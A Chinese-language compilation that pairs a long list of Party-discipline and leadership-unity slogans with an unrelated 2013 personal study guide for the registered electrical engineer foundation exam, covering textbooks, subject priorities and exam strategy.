不该去的地方坚决不去，不该要的东西坚决不要，不该插手的事坚决不插手。

八小时以内看“政绩”，八小时以外看“足迹”。

谨慎“交往圈”，净化“生活圈”，纯洁“娱乐圈”，正规“工作圈”。

畏法度者快乐，守规矩者自由。不受纪律约束，必受法律制裁。管往自己的嘴，不贪吃；管住自己的手，不图财；管住自己的腿，不恋玩；管住自己的家，不求奢。

政治上永远跟党走，工作上坚决不插手，生活上保证不出丑。交上一个好朋友，等于多了一面镜子；交上一个坏朋友，如同白雪落入了墨池。

不该要的面子不能要，不该给的面子不能给，不该留的面子不能留。

最动摇不得的是信念，最出卖不得的是原则，最耽误不得的是事业。

端平一碗水，抚平众人心。领导公心处事，上下齐心干事。入党不存杂念，当官不想发财，办事不图回报，工作不带私心，用权不捞好处。

政治上要清醒，经济上要清楚，工作上要清明，作风上要清廉，生活上要清白。

不让有能力、有政绩的人吃亏；不让跑官、要官的人得逞；不让各种关系电话、条子显灵；不让绝大多数官兵寒心。空气不好伤身体，风气不好伤兵心。

公生明，廉生威。“公”字解难点，就不难了；“公”字释疑点，就不疑了；“公”字降热点，就不热了。贪权者灭，贪财者亡，贪色者败，贪名者昏。感情服从政策，面子服从程序，关系服从原则。

言行一致嘴巴硬，廉洁用权腰杆硬，承担责任肩膀硬，抵制歪风脖子硬。

多一分监督就少一些漏洞，多一分制约就少一些失误。用好“印把子”，管住“钱袋子”，坐正“官位子”，慎碰“酒杯子”。

原则松一寸，思想滑一尺，工作退一丈。

风气好人人受益，风气坏人人受害，端正风气人人有责。风气正，就出人才、出政绩、出经验；风气不正，就出问题、出矛盾、出教训。

宁可黑脸别黑心，宁可没钱别没志，宁可辛苦别痛苦，宁可利亏别理亏。心要放得正，腰要挺得直，水要端得平。

不为面子所障碍，不为压力所动摇，不为利益所左右，不为人情所困扰。

亲了个别人，凉了众人心；照顾一个人，打击一大片。这难办，那难办，一公开就好办；这关系，那关系，一公平就没关系。

只要心里不贪，就没有推不了的人情。管住自己，天下无敌。政治上经得住考验，思想上顶得住歪理，工作上耐得住寂寞，作风上守得住艰苦，生活上抗得住诱惑，行为上管得住小节。宁可自己丢脸，不让组织丢分。

领导没决心，群众就没信心；领导没主见，群众就有意见。心思用在工作上，情感贴在兵心上，作风拧在求实上，成绩记在集体上。

立场坚定，不看来头；求真务实，不看风头；廉洁自律，不栽跟头；公道正派，不耍滑头。

书记敢“唱黑脸”，班子才不会“丢大脸”；领导严格，单位才不会“出大格”。

领导，就是以干引导部属；干部，就是以干带动部属。自身做得好，要求别人就有号召力；自己行得正，说出的道理就有感召力

对我们党来说，团结就是生命；对领导班子来说，团结就是形象；对每个领导干部来说，团结就是本领。班子团结人人受益，班子不团结人人受害。

平等相待不擅权，互相支持不拆台；让功揽过不争名，真诚信任不猜疑。

搞小圈子的人，圈子只会越来越小，最后必然成为孤家寡人。团结对于领导干部来说，既是德也是才。没有德，搞不好团结；没有才，做不好团结工作。

互相补台好戏连台，互相拆台一起垮台。

班子行不行，就看前两名；部队好不好，关键在领导。权力不争大小，位置不争先后，威信不争高低，表态不争你我。容人之过，但不顺人之非。

大事多商议，小事多通气；有事常交流，无事常碰头；用权不越位，分工不分家。

多一分沟通，少一分猜疑；多一分谅解，少一分隔阂；多一分关心，少一分冷漠；多一分支持，少一分观望；多一分正气，少一分怨气。

依靠“一班人”，管好“前两名”。正副书记一条心，班子内部无杂音。

维护但不要“袒护”，团结但不可“结团”，用心但不应“疑心”，民主但不能“无主”。

注重团结是大局，维护团结是觉悟，搞好团结是水平，巩固团结是政绩。

正职副职，相互支持；上级下级，共创业绩。一个好的班子，应当是攥紧成拳，伸开成剑。

个人本事再大，离开集体，什么事情也办不成；个人本事不大，熔入集体，什么事情也办得好。

事业是团结的基础，感情是团结的纽带，方法是团结的桥梁。有共同的实践，才有共同的认识；有共同的认识，才有共同的行动。

团结是班子的生命，原则是团结的生命。批评是治病救人的“良药”

袒露矛盾“开窗子”，发现问题“拉袖子”，有了疙瘩“解扣子”，批评帮助“剥面子”。

不怕有错误，就怕不正视错误；不怕有教训，就怕不接受教训；不怕有监督，就怕不服从监督。

面对批评有静气，自我批评有勇气，批评别人有正气。自我批评一针见血，相互批评入木三分。

批评对了要牢记，批评错了无须记，不批不评是大忌。自我批评是觉悟，领导批评是爱护，同事批评是帮助，下级批评是监督。正确的批评应该是，真诚而不失尖锐，善意而不失深刻，直言而不失友谊。

问题在批评中得到揭露，认识在批评中得到提高，团结在批评中得到加强。

批评领导，不阿谀奉承“抬轿子”；批评同事，不转弯抹角“兜圈子”；批评自己，不避重就轻“绕弯子”。批评难，批评难，书记带头就不难。

发现问题是水平，解决问题是政绩，揭露问题是党性，掩盖问题是失职。

委员对正副书记不能只提“建议”不讲问题，正副书记对委员不能只提“希望”不作批评，委员之间不能只提“注意”不愿较真。

接受忠告，就等于提高自己的能力。

强化打牢信念意识，以理想明方向强化做实工作意识，以作为强地位强化理顺关系意识，以同心促发展强化用活人员意识，以活力出效益强化树立形象意识，以正气凝人心强化抓紧学习意识，以勤奋求促进

克服与已无关思想，树立人人有责的责任意识；克服无所作为思想，树立锐意改革的进取意识；克服被动应付思想，树立积极开拓的挑战意识。

艰苦创业的奉献意识；以x为家的建设意识；同舟共济的团结意识；追求高新的前沿意识。

搞清当官为什么，牢记公仆意识，搞清在位谋什么，牢记职责意识，搞清进步靠什么，牢记创业意识，搞清奋斗图什么，牢记奉献意识。

班子建设增强“四种意识” 一是增强集体意识，落实根本制度；二是增强团结意识，自觉合心合力；三是增强形象意识，突出表率作用；四是增强务实意识，着力改进作风。强化四种意识

强化责任意识，不辱使命；强化全局意识，开阔视野；强化进取意识，迎难而上；强化建设意识，有所作为。增强四种意识

一是增强主角意识，克服等给靠要的依赖思想；二是增强统揽意识，克服随心所欲的忙乱现象；三是增强结合意识，克服单打一的简单化倾向；四是增强帮带意识，克服指导错位的浮躁倾向。搞清“四个为什么”，牢记“四个意识”搞清当官为什么，牢记公仆意识，搞清在位谋什么，牢记职责意识，搞清进步靠什么，牢记创业意识，搞清奋斗图什么，牢记奉献意识。

拼搏进取精神，艰苦创业精神，廉洁奉公精神，改革创新精神，服务至上精神

无私的奉献精神，高尚的精神，进取精神，开拓精神，吃苦精神，敬业精神，奉献精神，求实精神 要树立：

崇尚真理，尊重客观的科学精神；立足本职，脚踏实地的实干精神；自我否定，敢于扬弃的批判精神；开拓进取，超越现状的创新精神；自己动手，发奋图强的自立精神；不甘落后，积极向上的拼搏精神；锐意改革，努力进取的探索精神；据弃虚假，埋头苦干的务实精神；爱岗敬业，任劳任怨的吃苦精神；胸怀全局，团结互助的协作精神；藐视困难，以苦为荣的乐观精神；不计名利，甘愿吃亏的奉献精神。

一要有自信自强的精神，二要有实事求是的精神，三要有脚踏实地的精神，四要有刻苦钻研的精神，五要有敢于批判的精神，六要有积极创造的精神，七要有奋力拼搏的精神，八要有热情实践的精神，九要有谦虚谨慎的精神，十要有坚持不懈的精神。“五抓”建党风

抓教育，增强免疫力；抓制度，增强自制力；抓查处，增强约束力；抓示范，增强感染力；抓领导，增强向心力。

一抓政治建设监督；二抓重大决策监督；三抓热点问题监督；四抓违纪查处监督。xxx三抓

一抓组织，克服自发、自流现象；二抓引导，克服盲目、功利现象；三抓落实，克服应付、虚假现象。

抓细化重落实；抓变化谋高着；抓深化求质量；抓转化出效益。抓好四个点一是抓重点，保生活，促稳定；二是抓难点，重管理，求效益；三是抓热点，搞改革，勤服务；四是抓弱点，重人才，创一流。

第五篇：注电基础考试总结

注电基础考试总结

一、总体思路

对于注电基础考试，要在有限的时间和精力下，取得考试的成功，正确的备考思路是关键。以下两点是复习过程的指导观念：

1、复习只是为了考试拿证，分数是唯一的目标，一切的复习都要围绕分数来进行。该拿的分一定要拿到，该舍的分要果断舍。注重复习内容的性价比，只抓能得分的重点内容，不被庞杂艰深的学科知识所淹没。

2、真题是重中之重。注电基础考试题型重复性非常大，甚至出现原题。做会做熟历年真题是复习的关键所在。

二、参考书

1、上午公共基础：

A 《注册电气工程师执考公共基础考试复习教程》（天大教材）

当当网连接：

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B 《注册电气工程师执业资格考试专业基础考试复习教程》

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3、真题

《注册电气工程师执业资格考试基础考试历年真题及详解》

当当网连接：

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三、复习策略

1、上午公共基础

上午公共基础的内容涉及面广，牵涉到多个学科，而且有些内容是未学过的。各个内容本身的难易程度不尽相同，在试卷中所占的分数也轻重有别，因此我们有必要对上午公共基础的内容进行分类，根据难易程度和分值即性价比来进行有侧重，有针对性地复习，将宝贵时间的效用最大化。可将上午的学科内容分为以下几类。

第一类：重点复习内容。包括高等数学（微积分、线性代数、概率论）（24题）、普通物理（12题）、普通化学（10题）。这三大内容应重点学习天大教材，把教材上的习题和例题做会。

高等数学中的微积分是重点，所占分数大，要重点复习，如果所学内容已经遗忘，可翻阅大学高数教材，一定要把基本的概念和典型的例题真正搞懂。线性代数和概率论是另外两个独立的学科，相比于其内容来说，分值其实很少。如果时间紧张，建议先学概率论，得分更容易，在4题中争取做对3题。线性代数概念较多，每年考的点又不一样，难于很精准地定点，争取在5题中做对3题。适当地放弃可以节省大量的精力。

普通物理的内容主要是光学、热学和机械波，其实内容很简单，只是要把典型的概念吃透，这部分内容只看天大教材就足够了，不需要去另外看参考书。它每年考的知识点和题型都是重复的，做好往年题目就行。这部分争取10分全拿。

普通化学部分，我因为自己讨厌化学，完全没看这部分，考试都是靠蒙的。但据同事说，这部分其实也不难，重点看天大教材，做往年习题即可。

总体来说，这三章的内容采取看天大教材加真题练习的方法就足够了，没必要另找参考书深入学习，对于特别纠结的概念（如线性代数中的某些概念）和特别难的知识点可以适当放弃。第二类：偏文科的内容。工程经济（8题）、法律法规（6题）。

这两部分内容属于文科的内容，需要记住其中的重点概念，一定要弄明白这个概念是什么，不是什么，是很死的内容，在做选择题时对与错的判断都要严格依据概念进行。这两部分很容易得分，而且主要是记忆性内容，所以可以安排在复习后期进行学习，并力争90%的正确率。如果时间安排太紧，也一定要抽时间在考前突击这两章内容，这么容易得分的部分放弃太可惜。第三类：电气技术基础、计算机基础、信号与信息基础。

对于电气技术基础（12题）即模电与数电，因为下午专业基础考试也同样要考，所以此部分内容无需再看天大公共基础这本书的内容，只需在准备下午专业基础的复习后，做做历年的真题就行了，正确率也会很高。（与下午数电模电的难度比，上午该部分内容就是送分）。计算机基础和信号与信息基础部分，也同样不需要看天大教材，这两部分内容直接做历年真题就行，计算机基础的内容基本都是常识，而且每年考的题都不一样，一般来说很容易得分。信号与信息基础的内容也比较基础，做做真题就行了。总体来说，这三部分内容都不需要看天大教材，以真题练习为主。是很容易拿分的部分，一定要好好把握。

第四类：理论力学（12）、材料力学（12）、流体力学（8）。

三大力学部分是开始最让我头疼，后来大呼上当的部分。开始看天大的书完全看得一头雾水，举步维艰，后来发现完全是被天大坑了。天大教材把这部分内容写得太难，而其实考的题目很简单。更气人的是天大写的很多让人抓狂的内容不考，而考的有些内容它又不写，坑爹啊！对于理论力学，总结出来其实就只有几个公式，这个总结的过程是直接做真题，不会就看答案，然后进行总结。把该部分真题做一遍后你会发现历年就考那几个公式，就那几种题型。无需对这些公式及其附加的内容有多深入的了解，只要把这几个公式的运算关系搞通，把那几种常考题型做会就行。理论力学的分数还是争取拿到90%。对于材料力学和流体力学，也是通过上述方法，但要注意的是这两部分内容确实要难一些，所以不能求全，而要有选择地放弃一些分值，只争取其中简单的重复性高的知识点的分值，对于太难的题果断放弃，这是节省时间和精力的必要牺牲。总体来说，这三部分内容要先研究真题，再总结公式和方法，有针对性地翻阅天大教材。

2、下午专业基础

下午专业基础部分的总体战略是电路是大头，模电数电做支撑，电磁场和电气技术抓重点。与上午公共基础不同，下午的参考书应以马鸿雁的《2013注册电气工程师执业资格考试 专业基础 高频考点解析》为主。

电路原理部分是下午考试的重中之中，这表现在两个方面，一是其所占的分值重，二是这部分内容相对基础，容易通过反复练习拿到高分。该部分的复习直接看马鸿雁的书，然后做上面的例题和真题，实在不懂的地方就翻翻大学的电路原理教材，对于电路这部分的题一定要做会做熟做透，要以拿满分的目标完成这部分的复习。因为下午考试的其他内容难度都太大，很多不确定因素，所以电路原理这部分就是下午分数的保障，生死存亡的关键。

电磁场部分完全不用真正搞懂，因为太难了，大学都没学会的东西你现在这么短的时间要搞懂是不可能的。所以采取直接看马鸿雁的书，做上面的题，总结历年重复性大的题，直接记结论和方法。太难和重复性不高的题直接放弃。

模电和数电同样以马鸿雁的书为主，参考天大的教材，这部分内容力求学懂，并会做历年的题。主要做真题，天大上的题不用做，除非为了理解其中的概念。这两部分有一定难度，学习起来会很有挫折感，是必须要啃的硬骨头。对这部分的目标不需定的太高，争取70%的分值就很不错了。

电气技术部分那就不是难了，是根本就看不懂。天大那本教材一半的厚度是这部分内容，而且知识点难且多，除非大学学得很好，要现在一时掌握几乎不可能。所以对于这部分的内容，只能采取一种风险比较高而且很死的方法，那就是总结历年重复性高的题目，直接背解题步骤，这就要充分利用马鸿雁的书，找出典型题目，总结解题步骤，然后背下来多练几遍。这种方法是没办法的办法，是完全的应试手段。在考试中只能拼人品希望能遇到更多背过的题目，多抓一分是一分。另外完全不会的就只有发挥临场机智，连蒙带猜，说不定也能拿到几分。

在此，对下午专业基础考试部分的复习再总结一下，因为分值很重的电气技术部分太难，且采取的手段风险很大，完全是瞎猫逮耗子，拼人品，所以特别强调电路原理这部分的重要性，只有这部分做到几乎不丢分，才能奠定下午考试成功的基础。

3、最后冲刺阶段

这时要重点做真题，这时可以用最后那两本真题集。比较早年的真题可以按内容划分来做，而最近三年的真题应作为自己的模拟考试，完全按考试的时间来模拟，不翻书，不中途对答案，一口气做完后自己阅卷打分订正，然后查漏补缺。经过模拟考试和评分就能知道自己的真实水平，建立考试自信。

最后我想说的是，注电基础考试其实并没想象的难，不要被它庞杂的内容所吓到。而应该认识到正是因为内容广，所以不可能考得深，只要努力和坚持，就一定能考过。这个总结是我们考试三人组的共同经验，我们自己的实践是取得了不错的成绩（180以上），所以具有很强的参考意义。希望能给你一些帮助，当然备考的过程很枯燥，坚持才能胜利，加油！

2013 重庆大溪沟